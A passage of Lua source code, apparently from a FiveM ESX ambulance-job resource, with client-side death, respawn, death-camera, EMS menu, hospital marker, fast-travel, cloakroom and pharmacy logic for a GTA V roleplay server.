292 | EndTextCommandDisplayText(0.5, 0.8)
293 | end
294 |
295 | if bleedoutTimer < 1 and isDead then
296 | RemoveItemsAfterRPDeath()
297 | end
298 | end)
299 | end
300 |
301 | function GetClosestRespawnPoint()
302 | local PlyCoords = GetEntityCoords(PlayerPedId())
303 | local ClosestDist, ClosestHospital, ClosestCoord = 10000, {}, nil
304 |
305 | for k, v in pairs(Config.RespawnPoints) do
306 | local Distance = #(PlyCoords - vector3(v.coords.x, v.coords.y, v.coords.z))
307 | if Distance <= ClosestDist then
308 | ClosestDist = Distance
309 | ClosestHospital = v
310 | ClosestCoord = vector3(v.coords.x, v.coords.y, v.coords.z)
311 | end
312 | end
313 |
314 | return ClosestCoord, ClosestHospital
315 | end
316 |
317 | function RemoveItemsAfterRPDeath()
318 | TriggerServerEvent('esx_ambulancejob:setDeathStatus', false)
319 |
320 | CreateThread(function()
321 | ESX.TriggerServerCallback('esx_ambulancejob:removeItemsAfterRPDeath', function()
322 | local RespawnCoords, ClosestHospital = GetClosestRespawnPoint()
323 |
324 | ESX.SetPlayerData('loadout', {})
325 |
326 | DoScreenFadeOut(800)
327 | RespawnPed(PlayerPedId(), RespawnCoords, ClosestHospital.heading)
328 | while not IsScreenFadedOut() do
329 | Wait(0)
330 | end
331 | DoScreenFadeIn(800)
332 | end)
333 | end)
334 | end
335 |
336 | function RespawnPed(ped, coords, heading)
337 | SetEntityCoordsNoOffset(ped, coords.x, coords.y, coords.z, false, false, false)
338 | NetworkResurrectLocalPlayer(coords.x, coords.y, coords.z, heading, true, false)
339 | SetPlayerInvincible(ped, false)
340 | ClearPedBloodDamage(ped)
341 |
342 | TriggerServerEvent('esx:onPlayerSpawn')
343 | TriggerEvent('esx:onPlayerSpawn')
344 | TriggerEvent('playerSpawned') -- compatibility with old scripts, will be removed soon
345 | end
346 |
347 | RegisterNetEvent('esx_phone:loaded')
348 | AddEventHandler('esx_phone:loaded', function(phoneNumber, contacts)
349 | local specialContact = {name = 'Ambulance', number = 'ambulance',
350 | base64Icon = 'data:image/png;base64,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'}
351 |
352 | TriggerEvent('esx_phone:addSpecialContact', specialContact.name, specialContact.number, specialContact.base64Icon)
353 | end)
354 |
355 | AddEventHandler('esx:onPlayerDeath', function(data)
356 | OnPlayerDeath()
357 | end)
358 |
359 | RegisterNetEvent('esx_ambulancejob:revive')
360 | AddEventHandler('esx_ambulancejob:revive', function()
361 | local playerPed = PlayerPedId()
362 | local coords = GetEntityCoords(playerPed)
363 | TriggerServerEvent('esx_ambulancejob:setDeathStatus', false)
364 |
365 | DoScreenFadeOut(800)
366 |
367 | while not IsScreenFadedOut() do
368 | Wait(50)
369 | end
370 |
371 | local formattedCoords = {x = ESX.Math.Round(coords.x, 1), y = ESX.Math.Round(coords.y, 1), z = ESX.Math.Round(coords.z, 1)}
372 |
373 | RespawnPed(playerPed, formattedCoords, 0.0)
374 | isDead = false
375 | ClearTimecycleModifier()
376 | SetPedMotionBlur(playerPed, false)
377 | ClearExtraTimecycleModifier()
378 | EndDeathCam()
379 | DoScreenFadeIn(800)
380 | end)
381 |
382 | -- Load unloaded IPLs
383 | if Config.LoadIpl then
384 | RequestIpl('Coroner_Int_on') -- Morgue
385 | end
386 |
387 | local cam = nil
388 |
389 | local isDead = false
390 |
391 | local angleY = 0.0
392 |
393 | local angleZ = 0.0
394 |
395 | -------------------------------------------------------
396 |
397 | -----------------DEATH CAMERA FUNCTIONS ---------------
398 |
399 | --------------------------------------------------------
400 |
401 | -- initialize camera
402 |
403 | function StartDeathCam()
404 | ClearFocus()
405 | local playerPed = PlayerPedId()
406 | cam = CreateCamWithParams("DEFAULT_SCRIPTED_CAMERA", GetEntityCoords(playerPed), 0, 0, 0, GetGameplayCamFov())
407 | SetCamActive(cam, true)
408 | RenderScriptCams(true, true, 1000, true, false)
409 | end
410 |
411 | -- destroy camera
412 |
413 | function EndDeathCam()
414 | ClearFocus()
415 | RenderScriptCams(false, false, 0, true, false)
416 | DestroyCam(cam, false)
417 | cam = nil
418 | end
419 | -- process camera controls
420 | function ProcessCamControls()
421 | local playerPed = PlayerPedId()
422 | local playerCoords = GetEntityCoords(playerPed)
423 | -- disable 1st person as the 1st person camera can cause some glitches
424 | DisableFirstPersonCamThisFrame()
425 | -- calculate new position
426 | local newPos = ProcessNewPosition()
427 | SetFocusArea(newPos.x, newPos.y, newPos.z, 0.0, 0.0, 0.0)
428 | -- set coords of cam
429 | SetCamCoord(cam, newPos.x, newPos.y, newPos.z)
430 | -- set rotation
431 | PointCamAtCoord(cam, playerCoords.x, playerCoords.y, playerCoords.z + 0.5)
432 | end
433 |
434 | function ProcessNewPosition()
435 | local mouseX = 0.0
436 | local mouseY = 0.0
437 | -- keyboard
438 | if (IsInputDisabled(0)) then
439 | -- rotation
440 | mouseX = GetDisabledControlNormal(1, 1) * 8.0
441 |
442 | mouseY = GetDisabledControlNormal(1, 2) * 8.0
443 | -- controller
444 | else
445 | mouseX = GetDisabledControlNormal(1, 1) * 1.5
446 |
447 | mouseY = GetDisabledControlNormal(1, 2) * 1.5
448 | end
449 |
450 | angleZ = angleZ - mouseX -- around Z axis (left / right)
451 |
452 | angleY = angleY + mouseY -- up / down
453 | -- limit up / down angle to 90°
454 |
455 | if (angleY > 89.0) then
456 | angleY = 89.0
457 | elseif (angleY < -89.0) then
458 | angleY = -89.0
459 | end
460 | local pCoords = GetEntityCoords(PlayerPedId())
461 | local behindCam = {x = pCoords.x + ((Cos(angleZ) * Cos(angleY)) + (Cos(angleY) * Cos(angleZ))) / 2 * (5.5 + 0.5),
462 |
463 | y = pCoords.y + ((Sin(angleZ) * Cos(angleY)) + (Cos(angleY) * Sin(angleZ))) / 2 * (5.5 + 0.5),
464 |
465 | z = pCoords.z + ((Sin(angleY))) * (5.5 + 0.5)}
466 | local rayHandle = StartShapeTestRay(pCoords.x, pCoords.y, pCoords.z + 0.5, behindCam.x, behindCam.y, behindCam.z, -1, PlayerPedId(), 0)
467 |
468 | local a, hitBool, hitCoords, surfaceNormal, entityHit = GetShapeTestResult(rayHandle)
469 |
470 | local maxRadius = 1.9
471 | if (hitBool and Vdist(pCoords.x, pCoords.y, pCoords.z + 0.5, hitCoords) < 5.5 + 0.5) then
472 | maxRadius = Vdist(pCoords.x, pCoords.y, pCoords.z + 0.5, hitCoords)
473 | end
474 |
475 | local offset = {x = ((Cos(angleZ) * Cos(angleY)) + (Cos(angleY) * Cos(angleZ))) / 2 * maxRadius,
476 | y = ((Sin(angleZ) * Cos(angleY)) + (Cos(angleY) * Sin(angleZ))) / 2 * maxRadius, z = ((Sin(angleY))) * maxRadius}
477 |
478 | local pos = {x = pCoords.x + offset.x, y = pCoords.y + offset.y, z = pCoords.z + offset.z}
479 |
480 | return pos
481 | end
482 |
--------------------------------------------------------------------------------
/client/job.lua:
--------------------------------------------------------------------------------
1 | local CurrentAction, CurrentActionMsg, CurrentActionData = nil, '', {}
2 | local HasAlreadyEnteredMarker, LastHospital, LastPart, LastPartNum
3 | local isBusy, deadPlayers, deadPlayerBlips, isOnDuty = false, {}, {}, false
4 | isInShopMenu = false
5 |
6 | RegisterNetEvent('esx:playerLoaded')
7 | AddEventHandler('esx:playerLoaded', function(xPlayer)
8 | ESX.PlayerData = xPlayer
9 | ESX.PlayerLoaded = true
10 | end)
11 |
12 |
13 | function OpenAmbulanceActionsMenu()
14 | local elements = {{label = TranslateCap('cloakroom'), value = 'cloakroom'}}
15 |
16 | if Config.EnablePlayerManagement and ESX.PlayerData.job.grade_name == 'boss' then
17 | table.insert(elements, {label = TranslateCap('boss_actions'), value = 'boss_actions'})
18 | end
19 |
20 | ESX.UI.Menu.CloseAll()
21 |
22 | ESX.UI.Menu.Open('default', GetCurrentResourceName(), 'ambulance_actions', {
23 | title = TranslateCap('ambulance'),
24 | align = 'top-left',
25 | elements = elements
26 | }, function(data, menu)
27 | if data.current.value == 'cloakroom' then
28 | OpenCloakroomMenu()
29 | elseif data.current.value == 'boss_actions' then
30 | TriggerEvent('esx_society:openBossMenu', 'ambulance', function(data, menu)
31 | menu.close()
32 | end, {wash = false})
33 | end
34 | end, function(data, menu)
35 | menu.close()
36 | end)
37 | end
38 |
39 | function OpenMobileAmbulanceActionsMenu()
40 | ESX.UI.Menu.CloseAll()
41 |
42 | ESX.UI.Menu.Open('default', GetCurrentResourceName(), 'mobile_ambulance_actions', {
43 | title = TranslateCap('ambulance'),
44 | align = 'top-left',
45 | elements = {
46 | {label = TranslateCap('ems_menu'), value = 'citizen_interaction'}
47 | }}, function(data, menu)
48 | if data.current.value == 'citizen_interaction' then
49 | ESX.UI.Menu.Open('default', GetCurrentResourceName(), 'citizen_interaction', {
50 | title = TranslateCap('ems_menu_title'),
51 | align = 'top-left',
52 | elements = {
53 | {label = TranslateCap('ems_menu_revive'), value = 'revive'},
54 | {label = TranslateCap('ems_menu_small'), value = 'small'},
55 | {label = TranslateCap('ems_menu_big'), value = 'big'},
56 | {label = TranslateCap('ems_menu_putincar'), value = 'put_in_vehicle'},
57 | {label = TranslateCap('ems_menu_search'), value = 'search'}
58 | }}, function(data, menu)
59 | if isBusy then return end
60 |
61 | local closestPlayer, closestDistance = ESX.Game.GetClosestPlayer()
62 |
63 | if data.current.value == 'search' then
64 | TriggerServerEvent('esx_ambulancejob:svsearch')
65 | elseif closestPlayer == -1 or closestDistance > 1.0 then
66 | ESX.ShowNotification(TranslateCap('no_players'))
67 | else
68 | if data.current.value == 'revive' then
69 | revivePlayer(closestPlayer)
70 | elseif data.current.value == 'small' then
71 | ESX.TriggerServerCallback('esx_ambulancejob:getItemAmount', function(quantity)
72 | if quantity > 0 then
73 | local closestPlayerPed = GetPlayerPed(closestPlayer)
74 | local health = GetEntityHealth(closestPlayerPed)
75 |
76 | if health > 0 then
77 | local playerPed = PlayerPedId()
78 |
79 | isBusy = true
80 | ESX.ShowNotification(TranslateCap('heal_inprogress'))
81 | TaskStartScenarioInPlace(playerPed, 'CODE_HUMAN_MEDIC_TEND_TO_DEAD', 0, true)
82 | Wait(10000)
83 | ClearPedTasks(playerPed)
84 |
85 | TriggerServerEvent('esx_ambulancejob:removeItem', 'bandage')
86 | TriggerServerEvent('esx_ambulancejob:heal', GetPlayerServerId(closestPlayer), 'small')
87 | ESX.ShowNotification(TranslateCap('heal_complete', GetPlayerName(closestPlayer)))
88 | isBusy = false
89 | else
90 | ESX.ShowNotification(TranslateCap('player_not_conscious'))
91 | end
92 | else
93 | ESX.ShowNotification(TranslateCap('not_enough_bandage'))
94 | end
95 | end, 'bandage')
96 |
97 | elseif data.current.value == 'big' then
98 |
99 | ESX.TriggerServerCallback('esx_ambulancejob:getItemAmount', function(quantity)
100 | if quantity > 0 then
101 | local closestPlayerPed = GetPlayerPed(closestPlayer)
102 | local health = GetEntityHealth(closestPlayerPed)
103 |
104 | if health > 0 then
105 | local playerPed = PlayerPedId()
106 |
107 | isBusy = true
108 | ESX.ShowNotification(TranslateCap('heal_inprogress'))
109 | TaskStartScenarioInPlace(playerPed, 'CODE_HUMAN_MEDIC_TEND_TO_DEAD', 0, true)
110 | Wait(10000)
111 | ClearPedTasks(playerPed)
112 |
113 | TriggerServerEvent('esx_ambulancejob:removeItem', 'medikit')
114 | TriggerServerEvent('esx_ambulancejob:heal', GetPlayerServerId(closestPlayer), 'big')
115 | ESX.ShowNotification(TranslateCap('heal_complete', GetPlayerName(closestPlayer)))
116 | isBusy = false
117 | else
118 | ESX.ShowNotification(TranslateCap('player_not_conscious'))
119 | end
120 | else
121 | ESX.ShowNotification(TranslateCap('not_enough_medikit'))
122 | end
123 | end, 'medikit')
124 |
125 | elseif data.current.value == 'put_in_vehicle' then
126 | TriggerServerEvent('esx_ambulancejob:putInVehicle', GetPlayerServerId(closestPlayer))
127 | end
128 | end
129 | end, function(data, menu)
130 | menu.close()
131 | end)
132 | end
133 |
134 | end, function(data, menu)
135 | menu.close()
136 | end)
137 | end
138 |
139 | function revivePlayer(closestPlayer)
140 | isBusy = true
141 |
142 | ESX.TriggerServerCallback('esx_ambulancejob:getItemAmount', function(quantity)
143 | if quantity > 0 then
144 | local closestPlayerPed = GetPlayerPed(closestPlayer)
145 |
146 | if IsPedDeadOrDying(closestPlayerPed, 1) then
147 | local playerPed = PlayerPedId()
148 | local lib, anim = 'mini@cpr@char_a@cpr_str', 'cpr_pumpchest'
149 | ESX.ShowNotification(TranslateCap('revive_inprogress'))
150 |
151 | for i=1, 15 do
152 | Wait(900)
153 |
154 | ESX.Streaming.RequestAnimDict(lib, function()
155 | TaskPlayAnim(playerPed, lib, anim, 8.0, -8.0, -1, 0, 0.0, false, false, false)
156 | RemoveAnimDict(lib)
157 | end)
158 | end
159 |
160 | TriggerServerEvent('esx_ambulancejob:removeItem', 'medikit')
161 | TriggerServerEvent('esx_ambulancejob:revive', GetPlayerServerId(closestPlayer))
162 | else
163 | ESX.ShowNotification(TranslateCap('player_not_unconscious'))
164 | end
165 | else
166 | ESX.ShowNotification(TranslateCap('not_enough_medikit'))
167 | end
168 | isBusy = false
169 | end, 'medikit')
170 | end
171 |
172 | function FastTravel(coords, heading)
173 | local playerPed = PlayerPedId()
174 |
175 | DoScreenFadeOut(800)
176 |
177 | while not IsScreenFadedOut() do
178 | Wait(500)
179 | end
180 |
181 | ESX.Game.Teleport(playerPed, coords, function()
182 | DoScreenFadeIn(800)
183 |
184 | if heading then
185 | SetEntityHeading(playerPed, heading)
186 | end
187 | end)
188 | end
189 |
190 | -- Draw markers & Marker logic
191 | CreateThread(function()
192 | while true do
193 | local sleep = 1500
194 |
195 | if ESX.PlayerData.job and ESX.PlayerData.job.name == 'ambulance' then
196 | local playerCoords = GetEntityCoords(PlayerPedId())
197 | local isInMarker, hasExited = false, false
198 | local currentHospital, currentPart, currentPartNum
199 |
200 | for hospitalNum,hospital in pairs(Config.Hospitals) do
201 | -- Ambulance Actions
202 | for k,v in ipairs(hospital.AmbulanceActions) do
203 | local distance = #(playerCoords - v)
204 |
205 | if distance < Config.DrawDistance then
206 | sleep = 0
207 | DrawMarker(Config.Marker.type, v, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, Config.Marker.x, Config.Marker.y, Config.Marker.z, Config.Marker.r, Config.Marker.g, Config.Marker.b, Config.Marker.a, false, false, 2, Config.Marker.rotate, nil, nil, false)
208 |
209 |
210 | if distance < Config.Marker.x then
211 | isInMarker, currentHospital, currentPart, currentPartNum = true, hospitalNum, 'AmbulanceActions', k
212 | end
213 | end
214 | end
215 |
216 | -- Pharmacies
217 | for k,v in ipairs(hospital.Pharmacies) do
218 | local distance = #(playerCoords - v)
219 |
220 | if distance < Config.DrawDistance then
221 | sleep = 0
222 | DrawMarker(Config.Marker.type, v, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, Config.Marker.x, Config.Marker.y, Config.Marker.z, Config.Marker.r, Config.Marker.g, Config.Marker.b, Config.Marker.a, false, false, 2, Config.Marker.rotate, nil, nil, false)
223 |
224 |
225 | if distance < Config.Marker.x then
226 | isInMarker, currentHospital, currentPart, currentPartNum = true, hospitalNum, 'Pharmacy', k
227 | end
228 | end
229 | end
230 |
231 | -- Vehicle Spawners
232 | for k,v in ipairs(hospital.Vehicles) do
233 | local distance = #(playerCoords - v.Spawner)
234 |
235 | if distance < Config.DrawDistance then
236 | sleep = 0
237 | DrawMarker(v.Marker.type, v.Spawner, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, v.Marker.x, v.Marker.y, v.Marker.z, v.Marker.r, v.Marker.g, v.Marker.b, v.Marker.a, false, false, 2, v.Marker.rotate, nil, nil, false)
238 |
239 |
240 | if distance < v.Marker.x then
241 | isInMarker, currentHospital, currentPart, currentPartNum = true, hospitalNum, 'Vehicles', k
242 | end
243 | end
244 | end
245 |
246 | -- Helicopter Spawners
247 | for k,v in ipairs(hospital.Helicopters) do
248 | local distance = #(playerCoords - v.Spawner)
249 |
250 | if distance < Config.DrawDistance then
251 | sleep = 0
252 | DrawMarker(v.Marker.type, v.Spawner, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, v.Marker.x, v.Marker.y, v.Marker.z, v.Marker.r, v.Marker.g, v.Marker.b, v.Marker.a, false, false, 2, v.Marker.rotate, nil, nil, false)
253 |
254 |
255 | if distance < v.Marker.x then
256 | isInMarker, currentHospital, currentPart, currentPartNum = true, hospitalNum, 'Helicopters', k
257 | end
258 | end
259 | end
260 |
261 | -- Fast Travels (Prompt)
262 | for k,v in ipairs(hospital.FastTravelsPrompt) do
263 | local distance = #(playerCoords - v.From)
264 |
265 | if distance < Config.DrawDistance then
266 | sleep = 0
267 | DrawMarker(v.Marker.type, v.From, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, v.Marker.x, v.Marker.y, v.Marker.z, v.Marker.r, v.Marker.g, v.Marker.b, v.Marker.a, false, false, 2, v.Marker.rotate, nil, nil, false)
268 |
269 |
270 | if distance < v.Marker.x then
271 | isInMarker, currentHospital, currentPart, currentPartNum = true, hospitalNum, 'FastTravelsPrompt', k
272 | end
273 | end
274 | end
275 | end
276 |
277 | -- Logic for exiting & entering markers
278 | if isInMarker and not HasAlreadyEnteredMarker or (isInMarker and (LastHospital ~= currentHospital or LastPart ~= currentPart or LastPartNum ~= currentPartNum)) then
279 | if
280 | (LastHospital ~= nil and LastPart ~= nil and LastPartNum ~= nil) and
281 | (LastHospital ~= currentHospital or LastPart ~= currentPart or LastPartNum ~= currentPartNum)
282 | then
283 | TriggerEvent('esx_ambulancejob:hasExitedMarker', LastHospital, LastPart, LastPartNum)
284 | hasExited = true
285 | end
286 |
287 | HasAlreadyEnteredMarker, LastHospital, LastPart, LastPartNum = true, currentHospital, currentPart, currentPartNum
288 |
289 | TriggerEvent('esx_ambulancejob:hasEnteredMarker', currentHospital, currentPart, currentPartNum)
290 | end
291 |
292 | if not hasExited and not isInMarker and HasAlreadyEnteredMarker then
293 | HasAlreadyEnteredMarker = false
294 | TriggerEvent('esx_ambulancejob:hasExitedMarker', LastHospital, LastPart, LastPartNum)
295 | end
296 | end
297 | Wait(sleep)
298 | end
299 | end)
300 |
301 | AddEventHandler('esx_ambulancejob:hasEnteredMarker', function(hospital, part, partNum)
302 | if part == 'AmbulanceActions' then
303 | CurrentAction = part
304 | CurrentActionMsg = TranslateCap('actions_prompt')
305 | CurrentActionData = {}
306 | elseif part == 'Pharmacy' then
307 | CurrentAction = part
308 | CurrentActionMsg = TranslateCap('open_pharmacy')
309 | CurrentActionData = {}
310 | elseif part == 'Vehicles' then
311 | CurrentAction = part
312 | CurrentActionMsg = TranslateCap('garage_prompt')
313 | CurrentActionData = {hospital = hospital, partNum = partNum}
314 | elseif part == 'Helicopters' then
315 | CurrentAction = part
316 | CurrentActionMsg = TranslateCap('helicopter_prompt')
317 | CurrentActionData = {hospital = hospital, partNum = partNum}
318 | elseif part == 'FastTravelsPrompt' then
319 | local travelItem = Config.Hospitals[hospital][part][partNum]
320 |
321 | CurrentAction = part
322 | CurrentActionMsg = travelItem.Prompt
323 | CurrentActionData = {to = travelItem.To.coords, heading = travelItem.To.heading}
324 | end
325 |
326 | ESX.TextUI(CurrentActionMsg)
327 | end)
328 |
329 | AddEventHandler('esx_ambulancejob:hasExitedMarker', function(hospital, part, partNum)
330 | if not isInShopMenu then
331 | ESX.UI.Menu.CloseAll()
332 | end
333 | ESX.HideUI()
334 | CurrentAction = nil
335 | end)
336 |
337 | -- Key Controls
338 | CreateThread(function()
339 | while true do
340 | local sleep = 1500
341 |
342 | if CurrentAction then
343 | sleep = 0
344 |
345 | if IsControlJustReleased(0, 38) then
346 | if CurrentAction == 'AmbulanceActions' then
347 | OpenAmbulanceActionsMenu()
348 | elseif CurrentAction == 'Pharmacy' then
349 | OpenPharmacyMenu()
350 | elseif CurrentAction == 'Vehicles' then
351 | OpenVehicleSpawnerMenu('car', CurrentActionData.hospital, CurrentAction, CurrentActionData.partNum)
352 | elseif CurrentAction == 'Helicopters' then
353 | OpenVehicleSpawnerMenu('helicopter', CurrentActionData.hospital, CurrentAction, CurrentActionData.partNum)
354 | elseif CurrentAction == 'FastTravelsPrompt' then
355 | FastTravel(CurrentActionData.to, CurrentActionData.heading)
356 | end
357 |
358 | CurrentAction = nil
359 | end
360 | end
361 |
362 | local playerCoords, letSleep = GetEntityCoords(PlayerPedId()), true
363 |
364 | for hospitalNum,hospital in pairs(Config.Hospitals) do
365 | -- Fast Travels
366 | for k,v in ipairs(hospital.FastTravels) do
367 | local distance = #(playerCoords - v.From)
368 |
369 | if distance < Config.DrawDistance then
370 | sleep = 0
371 | DrawMarker(v.Marker.type, v.From, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, v.Marker.x, v.Marker.y, v.Marker.z, v.Marker.r, v.Marker.g, v.Marker.b, v.Marker.a, false, false, 2, v.Marker.rotate, nil, nil, false)
372 |
373 |
374 | if distance < v.Marker.x then
375 | FastTravel(v.To.coords, v.To.heading)
376 | end
377 | end
378 | end
379 | end
380 | Wait(sleep)
381 | end
382 | end)
383 |
384 | RegisterCommand("ambulance", function(src)
385 | if ESX.PlayerData.job and ESX.PlayerData.job.name == 'ambulance' and not ESX.PlayerData.dead then
386 | OpenMobileAmbulanceActionsMenu()
387 | end
388 | end)
389 |
390 | RegisterKeyMapping("ambulance", "Open Ambulance Actions Menu", "keyboard", "F6")
391 |
392 | RegisterNetEvent('esx_ambulancejob:putInVehicle')
393 | AddEventHandler('esx_ambulancejob:putInVehicle', function()
394 | local playerPed = PlayerPedId()
395 | local vehicle, distance = ESX.Game.GetClosestVehicle()
396 |
397 | if vehicle and distance < 5 then
398 | local maxSeats, freeSeat = GetVehicleMaxNumberOfPassengers(vehicle)
399 |
400 | for i=maxSeats - 1, 0, -1 do
401 | if IsVehicleSeatFree(vehicle, i) then
402 | freeSeat = i
403 | break
404 | end
405 | end
406 |
407 | if freeSeat then
408 | TaskWarpPedIntoVehicle(playerPed, vehicle, freeSeat)
409 | end
410 | end
411 | end)
412 |
413 | function OpenCloakroomMenu()
414 | ESX.UI.Menu.Open('default', GetCurrentResourceName(), 'cloakroom', {
415 | title = TranslateCap('cloakroom'),
416 | align = 'top-left',
417 | elements = {
418 | {label = TranslateCap('ems_clothes_civil'), value = 'citizen_wear'},
419 | {label = TranslateCap('ems_clothes_ems'), value = 'ambulance_wear'},
420 | }}, function(data, menu)
421 | if data.current.value == 'citizen_wear' then
422 | ESX.TriggerServerCallback('esx_skin:getPlayerSkin', function(skin, jobSkin)
423 | TriggerEvent('skinchanger:loadSkin', skin)
424 | isOnDuty = false
425 |
426 | for playerId,v in pairs(deadPlayerBlips) do
427 | RemoveBlip(v)
428 | deadPlayerBlips[playerId] = nil
429 | end
430 | deadPlayers = {}
431 | if Config.Debug then
432 | print("[^2INFO^7] Off Duty")
433 | end
434 | end)
435 | elseif data.current.value == 'ambulance_wear' then
436 | ESX.TriggerServerCallback('esx_skin:getPlayerSkin', function(skin, jobSkin)
437 | if skin.sex == 0 then
438 | TriggerEvent('skinchanger:loadClothes', skin, jobSkin.skin_male)
439 | else
440 | TriggerEvent('skinchanger:loadClothes', skin, jobSkin.skin_female)
441 | end
442 |
443 | isOnDuty = true
444 | ESX.TriggerServerCallback('esx_ambulancejob:getDeadPlayers', function(_deadPlayers)
445 | TriggerEvent('esx_ambulancejob:setDeadPlayers', _deadPlayers)
446 | end)
447 | if Config.Debug then
448 | print("[^2INFO^7] Player Sex |^5" .. tostring(skin.sex).."^7")
449 | print("[^2INFO^7] On Duty")
450 | end
451 | end)
452 | end
453 |
454 | menu.close()
455 | end, function(data, menu)
456 | menu.close()
457 | end)
458 | end
459 |
460 | function OpenPharmacyMenu()
461 | ESX.UI.Menu.CloseAll()
462 |
463 | ESX.UI.Menu.Open('default', GetCurrentResourceName(), 'pharmacy', {
464 | title = TranslateCap('pharmacy_menu_title'),
465 | align = 'top-left',
466 | elements = {
467 | {label = TranslateCap('pharmacy_take', TranslateCap('medikit')), item = 'medikit', type = 'slider', value = 1, min = 1, max = 100},
468 | {label = TranslateCap('pharmacy_take', TranslateCap('bandage')), item = 'bandage', type = 'slider', value = 1, min = 1, max = 100}
469 | }}, function(data, menu)
470 | if Config.Debug then
471 | print("[^2INFO^7] Attempting to Give Item - ^5" .. tostring(data.current.item) .. "^7")
472 | end
473 | TriggerServerEvent('esx_ambulancejob:giveItem', data.current.item, data.current.value)
474 | end, function(data, menu)
475 | menu.close()
476 | end)
477 | end
478 |
479 | RegisterNetEvent('esx_ambulancejob:heal')
480 | AddEventHandler('esx_ambulancejob:heal', function(healType, quiet)
481 | local playerPed = PlayerPedId()
482 | local maxHealth = GetEntityMaxHealth(playerPed)
483 |
484 | if healType == 'small' then
485 | local health = GetEntityHealth(playerPed)
486 | local newHealth = math.min(maxHealth, math.floor(health + maxHealth / 8))
487 | SetEntityHealth(playerPed, newHealth)
488 | elseif healType == 'big' then
489 | SetEntityHealth(playerPed, maxHealth)
490 | end
491 |
492 | if Config.Debug then
493 | print("[^2INFO^7] Healing Player - ^5" .. tostring(healType).. "^7")
494 | end
495 | if not quiet then
496 | ESX.ShowNotification(TranslateCap('healed'))
497 | end
498 | end)
499 |
500 | RegisterNetEvent('esx:setJob')
501 | AddEventHandler('esx:setJob', function(job)
502 | if isOnDuty and job.name ~= 'ambulance' then
503 | for playerId,v in pairs(deadPlayerBlips) do
